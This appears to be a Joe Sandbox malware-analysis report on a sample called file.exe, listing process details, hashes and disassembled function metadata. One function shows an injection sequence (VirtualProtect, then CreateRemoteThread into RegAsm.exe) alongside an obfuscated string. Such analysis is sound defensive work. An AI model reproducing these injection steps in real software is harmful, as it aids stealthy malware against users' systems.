Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x390000
File size:	515'584 bytes
MD5 hash:	665359FE7AD7626FFDE7260978EC9470
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:44:49
Start date:	30/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	404
Total number of Limit Nodes:	20

Executed Functions

Function 003A84AC Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863973fb843b44f4181189f3f862c2c6324593acd912259d5ad9aa43f6a36062
Instruction ID: 6aa504c56497ae5223ed7115dffbfa02c3533a63cb44e2590c14401478e2242a
Opcode Fuzzy Hash: 863973fb843b44f4181189f3f862c2c6324593acd912259d5ad9aa43f6a36062
Instruction Fuzzy Hash: 53E08C32911278EBCB16DB89C904D9AF3ECEB4AB14B1206AAB901D3100D674DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 0039F2BC Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de157ae7f70aa572271f9e4d8239843e4e4338bba078dda5b3633f9ef309906
Instruction ID: 1e7f7c48e7c20c1697ad6e1d9c159b02c6fd1ef95ef112516da973f88e5d221e
Opcode Fuzzy Hash: 8de157ae7f70aa572271f9e4d8239843e4e4338bba078dda5b3633f9ef309906
Instruction Fuzzy Hash: 56C08C3D000D048ACF2B8B1082B23E43354FB92782F80089CC8438F642CA1E9C83D700

Uniqueness

Uniqueness Score: -1.00%

Function 003A1C8B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,003A1D98,?,00000000,00000000,00000000,?,?,003A1FC2,00000021,FlsSetValue,003B23C8,003B23D0,00000000), ref: 003A1D4C

Strings

ext-ms-, xrefs: 003A1CF6
api-ms-, xrefs: 003A1CE2

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e3b9670cc9184c4f59935c04460c8d723af67c95bd37c08f650ffd1e9a31c76d
Instruction ID: 6d67fe98a6b60545900e1263a31bd3efd0fe0e0960a412d6d6ef104d2acd93fe
Opcode Fuzzy Hash: e3b9670cc9184c4f59935c04460c8d723af67c95bd37c08f650ffd1e9a31c76d
Instruction Fuzzy Hash: 7621B435A01626EBC7279B65EC40ABAB76CDB43774F260621EA55E7291E730ED00C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 003920A7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
memorysynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003921B1: _strlen.LIBCMT ref: 003921C9

VirtualProtect.KERNELBASE(0040EC00,000004AC,00000040,?,?,006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 003920F1
CreateRemoteThread.KERNELBASE(000000FF,00000000,00000000,Function_00002057,00000000,00000000,00000000), ref: 00392105
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0039210E

Part of subcall function 0039223E: _Deallocate.LIBCONCRT ref: 0039224D

Strings

006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@, xrefs: 003920B8
MZx, xrefs: 00392128, 0039212D

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CreateDeallocateObjectProtectRemoteSingleThreadVirtualWait_strlen
String ID: 006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@$MZx
API String ID: 1041046508-4110972614
Opcode ID: 631a93f6083fc9334fc5b06db68ae94e88448683f5336ab5ed5e7f5c0c5dd43e
Instruction ID: 31c0b6dfcc61195c54366f05318cb1a8a72720e205a35aa3a7b7733384b6e2ce
Opcode Fuzzy Hash: 631a93f6083fc9334fc5b06db68ae94e88448683f5336ab5ed5e7f5c0c5dd43e
Instruction Fuzzy Hash: 1C0184B1A04204BFEB16ABE49C46EFF73ACEB05714F514629F611AA1D1DE3499058624

Uniqueness

Uniqueness Score: -1.00%

Function 003A5C5B Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 003A5CE2
__alloca_probe_16.LIBCMT ref: 003A5DA3
__freea.LIBCMT ref: 003A5E0A

Part of subcall function 003A223F: HeapAlloc.KERNEL32(00000000,00000000,?,?,00397345,?,?,00000000,?,?,003911C6,-00000004,00000000,00000000,003914FC,00000000), ref: 003A2271

__freea.LIBCMT ref: 003A5E1F
__freea.LIBCMT ref: 003A5E2F

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6dfcace91e76899300cb130ae33dc1f5f66dfcaac42677044b9cdf662ab412c0
Instruction ID: ff2c03a813a672caed7ba02496581c36c959bf75d259f380b48382484215e03f
Opcode Fuzzy Hash: 6dfcace91e76899300cb130ae33dc1f5f66dfcaac42677044b9cdf662ab412c0
Instruction Fuzzy Hash: 5251B072600606AFEF269F64CC86EFF7AA9EF56710B1A0128FD08DB155EB31CD108760

Uniqueness

Uniqueness Score: -1.00%

Function 003944BB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Fputc.LIBCPMT ref: 00394594

Strings

@9, xrefs: 00394573

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Fputc
String ID: @9
API String ID: 3078413507-1263358865
Opcode ID: f2a9d583f51ebdd0460f372f7feaedcfbf61cbb74f63d55162fc19e8a303f56e
Instruction ID: 3f0295ed0a423d9ebd0761ab4ab740b10291bde1143f017efee6a8bfde32f918
Opcode Fuzzy Hash: f2a9d583f51ebdd0460f372f7feaedcfbf61cbb74f63d55162fc19e8a303f56e
Instruction Fuzzy Hash: 9E41707690011AEBCF16DFA4D480DEEB7B8FF0A310B564166E541AB650EB31ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003A2125 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,003A5D49,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 003A2159
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,003A5D49,?,?,00000000,?,00000000), ref: 003A2177

Strings

@9, xrefs: 003A2153

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: String
String ID: @9
API String ID: 2568140703-1263358865
Opcode ID: c1ab4452eef8f1a1fcc00c060adc34ff997648f615e6a228d1267c45083464e0
Instruction ID: 3f334d0612fa9c76d908b0e2477b2c26199be3b5ad8d32f232d0279242aa6c93
Opcode Fuzzy Hash: c1ab4452eef8f1a1fcc00c060adc34ff997648f615e6a228d1267c45083464e0
Instruction Fuzzy Hash: 48F03A3644016ABBCF135F94DD05DDE3F6AEF5A7A0F058511FA1865120C736C972EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0039F248 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0039F39E,?,0039F242,00000000,?,?,0039F39E,16D241C6,?,0039F39E), ref: 0039F259
TerminateProcess.KERNEL32(00000000,?,0039F242,00000000,?,?,0039F39E,16D241C6,?,0039F39E), ref: 0039F260
ExitProcess.KERNEL32 ref: 0039F272

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 6adf2f11dc6a7cc8f22cf2dcf653e0a23ec3f47be623dfa4f5bf2ce9ac71a3e8
Instruction ID: d1bf02c56916a30274d0a6eb50fcf7f75d9e8eb7de10aad1f0f0ae5979a78aeb
Opcode Fuzzy Hash: 6adf2f11dc6a7cc8f22cf2dcf653e0a23ec3f47be623dfa4f5bf2ce9ac71a3e8
Instruction Fuzzy Hash: 40D09E3A000104AFCF537FA0DD0DA493F29AF41341F414430B949CE032DB759956DB50

Uniqueness

Uniqueness Score: -1.00%

Function 003A7DDD Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003A790D: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 003A7938

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,003A7C24,?,00000000,?,00000000,?), ref: 003A7E3E
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,003A7C24,?,00000000,?,00000000,?), ref: 003A7E80

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 19799dd8b1872ad527c0c406623eecdfeb93d8b6ea6ae61f547c27c0749e8603
Instruction ID: 90681f002965734c17925e70e06c4e13b526f3185886ff2e86ee6033284b7371
Opcode Fuzzy Hash: 19799dd8b1872ad527c0c406623eecdfeb93d8b6ea6ae61f547c27c0749e8603
Instruction Fuzzy Hash: 6D513531A082059EDB22CF75CCC5AABBBF4EF43304F1545AED1968B252E7749A46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003A79E1 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,003A7C30,003A7C24,00000000), ref: 003A7A13

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 152a8dd1ef1116570942bf879ba60fed091ca020e2dd51528749ebf771144f4a
Instruction ID: a561a9e5fbdba4d053e98a9563daeb21251bee464119ae1c9a56e39d895a82ce
Opcode Fuzzy Hash: 152a8dd1ef1116570942bf879ba60fed091ca020e2dd51528749ebf771144f4a
Instruction Fuzzy Hash: 95514CB15081589ADB238A28CCC0AEA7BBCEB57704F2445EDD59AC7142D2359E46DB20

Uniqueness

Uniqueness Score: -1.00%

Function 003A1D56 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ae769580476f3ae01a17a640c1e0b706c4bb62fc321350d60caf49ef26ba0c0
Instruction ID: a396d9b7a9014e67382726569a96dbf982b565788747ae9b7a4b5065555527d1
Opcode Fuzzy Hash: 5ae769580476f3ae01a17a640c1e0b706c4bb62fc321350d60caf49ef26ba0c0
Instruction Fuzzy Hash: 7E01B5336042159F9B17DE69EC40AAA37BAEBC7334F254225FA05DB558DA34D801C790

Uniqueness

Uniqueness Score: -1.00%

Function 003A228D Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,003A1968,00000001,00000364,00000000,00000002,000000FF,?,?,00397345,?,?,00000000), ref: 003A22CE

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f4b22e0d9d7504720424b29c1f487f28f99ab6a1fc50ac1a15d66bc48b6b3874
Instruction ID: 17765030dc5ebab8b5ef011fe4bad314f82cef825bb696fe0f21fc7c2b329d51
Opcode Fuzzy Hash: f4b22e0d9d7504720424b29c1f487f28f99ab6a1fc50ac1a15d66bc48b6b3874
Instruction Fuzzy Hash: 4DF0BE316046246BDFA76A2A9D05F5B374CEF477A1F168A21EC04AA580CA20D84087A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003D9D0A Relevance: 16.7, Strings: 13, Instructions: 473COMMON

Download Yara Rule

Strings

06, xrefs: 003DA1E7
89, xrefs: 003DA733
r=Z?, xrefs: 003DA728
ef, xrefs: 003DA657
):, xrefs: 003DA1D1
n!m#, xrefs: 003DA71D
e%h', xrefs: 003DA712
)/, xrefs: 003DA91C
}s, xrefs: 003DA84B
<?, xrefs: 003DA1DC
9;, xrefs: 003D9E6A
qs, xrefs: 003DA05B
&4, xrefs: 003DA1F2

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: &4$):$06$89$<?$e%h'$ef$n!m#$r=Z?$)/$9;$qs$}s
API String ID: 0-984409954
Opcode ID: 8c1ff9987b27b21458fe7f52f3d94393a215f18d1a2c9243d32ce057e46b38ae
Instruction ID: dc859a87c6869c97c728131bb8ecaf916f1b90e3997312bcbb94a44369e05d97
Opcode Fuzzy Hash: 8c1ff9987b27b21458fe7f52f3d94393a215f18d1a2c9243d32ce057e46b38ae
Instruction Fuzzy Hash: E152A5B42093858EE374CF05D494BCBBBE1BB86344F908E2EC5CA5B645DB75814ACF92

Uniqueness

Uniqueness Score: -1.00%

Function 003AA674 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003AA992,00000002,00000000,?,?,?,003AA992,?,00000000), ref: 003AA70D
GetLocaleInfoW.KERNEL32(?,20001004,003AA992,00000002,00000000,?,?,?,003AA992,?,00000000), ref: 003AA736
GetACP.KERNEL32(?,?,003AA992,?,00000000), ref: 003AA74B

Strings

OCP, xrefs: 003AA6C8
ACP, xrefs: 003AA692

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4548b52d641e4188e5d865ebf90e00c8be620e7dcf9b75cdc3b673e5b5a469ab
Instruction ID: 13a91161e47c9caad7922f310ee56badbb868b35ae0e7b4647a56148674cff15
Opcode Fuzzy Hash: 4548b52d641e4188e5d865ebf90e00c8be620e7dcf9b75cdc3b673e5b5a469ab
Instruction Fuzzy Hash: 98210423600901AADB37DF94C904AAB73FAEF56B50B1B4424E90AC7120FB33DE40C752

Uniqueness

Uniqueness Score: -1.00%

Function 003C39B0 Relevance: 7.8, Strings: 6, Instructions: 317COMMON

Download Yara Rule

Strings

(, xrefs: 003C3D84
4 !;, xrefs: 003C39F5
9 83, xrefs: 003C3A00
Q$, xrefs: 003C3A0B
9#, xrefs: 003C3D7D
>';<, xrefs: 003C3A16

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: ($4 !;$9 83$9#$>';<$Q$
API String ID: 0-3615800676
Opcode ID: 555f22de3098259e5957f5a1610192203ea3b01f0a48be788c4ab474d6f35f46
Instruction ID: 9dfd639f1c3f53b4fd03f6637570e2abdea207a070f0ae60ae493f0156d094ad
Opcode Fuzzy Hash: 555f22de3098259e5957f5a1610192203ea3b01f0a48be788c4ab474d6f35f46
Instruction Fuzzy Hash: F9C148B410C3818FD325CF14C490B9BBBE0BF96304F18895DE4D59B392C779990ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 003AA849 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 003AA955
IsValidCodePage.KERNEL32(00000000), ref: 003AA99E
IsValidLocale.KERNEL32(?,00000001), ref: 003AA9AD
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 003AA9F5
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 003AAA14

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 167095ff76249cba0fd1441814a3425ef1eda449c7ca6c636cb27d806a1ea021
Instruction ID: b8e4ee5958152ea7f191700d7f4ba0828901a16065cfbb34b07473080bc51ce8
Opcode Fuzzy Hash: 167095ff76249cba0fd1441814a3425ef1eda449c7ca6c636cb27d806a1ea021
Instruction Fuzzy Hash: 5A518373A00A09AFDB22DFA5CC45ABF77B8FF0A700F164529E914EB150E7749904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003A9EE5 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetACP.KERNEL32(?,?,?,?,?,?,0039FBFB,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003A9FA6
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0039FBFB,?,?,?,00000055,?,-00000050,?,?), ref: 003A9FD1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 003AA134

Strings

utf8, xrefs: 003AA0A3

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

